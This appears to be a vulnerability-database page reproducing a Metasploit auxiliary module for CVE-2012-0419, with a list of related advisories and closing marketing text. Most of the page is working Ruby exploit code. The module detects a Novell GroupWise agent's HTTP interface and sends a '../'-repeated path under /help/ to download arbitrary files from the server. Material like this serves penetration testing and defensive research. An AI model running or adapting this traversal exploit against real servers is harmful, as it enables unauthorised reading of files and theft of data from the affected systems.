Lucene search
K

Novell Groupwise Agents HTTP Directory Traversal

🗓️ 07 Feb 2013 20:15:49Reported by r () b13$, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 32 Views

Novell Groupwise Agents HTTP Directory Traversal vulnerability exploit for Novell Groupwise 8.02 HP2 over Windows 2003 SP

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-0419
29 May 201815:50
circl
Check Point Advisories
Novell GroupWise HTTP Interfaces Arbitrary File Retrieval (CVE-2012-0419)
4 Mar 201300:00
checkpoint_advisories
CVE
CVE-2012-0419
28 Sep 201210:00
cve
Cvelist
CVE-2012-0419
28 Sep 201210:00
cvelist
Tenable Nessus
Novell GroupWise Internet Agent 8.x < 8.0.3 / 12.x < 12.0.1 Multiple Vulnerabilities
24 Sep 201200:00
nessus
NVD
CVE-2012-0419
28 Sep 201210:40
nvd
Packet Storm
Novell Groupwise Agents HTTP Directory Traversal
1 Sep 202400:00
packetstorm
Packet Storm
📄 Novell GroupWise 8.0 Traversal / Code Injection
5 Feb 202600:00
packetstorm
Packet Storm
📄 Novell GroupWise 2012 Traversal / Shell Upload
9 Feb 202600:00
packetstorm
Prion
Directory traversal
28 Sep 201210:40
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell Groupwise Agents HTTP Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability in Novell Groupwise.
        The vulnerability exists in the web interface of both the Post Office and the
        MTA agents. This module has been tested successfully on Novell Groupwise 8.02 HP2
        over Windows 2003 SP2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'r () b13$', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0419' ],
          [ 'OSVDB', '85801' ],
          [ 'BID', '55648' ],
          [ 'URL', 'https://support.microfocus.com/kb/doc.php?id=7010772' ]
        ]
    ))

    register_options(
      [
        Opt::RPORT(7181), # Also 7180 can be used
        OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
        OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10])
      ])
  end

  def is_groupwise?
    res = send_request_raw({'uri'=>'/'})
    if res and res.headers['Server'].to_s =~ /GroupWise/
      return true
    else
      return false
    end
  end

  def run_host(ip)

    if not is_groupwise?
      vprint_error("#{rhost}:#{rport} - This isn't a GroupWise Agent HTTP Interface")
      return
    end

    travs = ""
    travs << "../" * datastore['DEPTH']

    travs = normalize_uri("/help/", travs, datastore['FILEPATH'])

    vprint_status("#{rhost}:#{rport} - Sending request...")
    res = send_request_cgi({
      'uri'          => travs,
      'method'       => 'GET',
    })

    if res and res.code == 200
      contents = res.body
      fname = File.basename(datastore['FILEPATH'])
      path = store_loot(
        'novell.groupwise',
        'application/octet-stream',
        ip,
        contents,
        fname
      )
      print_good("#{rhost}:#{rport} - File saved in: #{path}")
    else
      vprint_error("#{rhost}:#{rport} - Failed to retrieve file")
      return
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation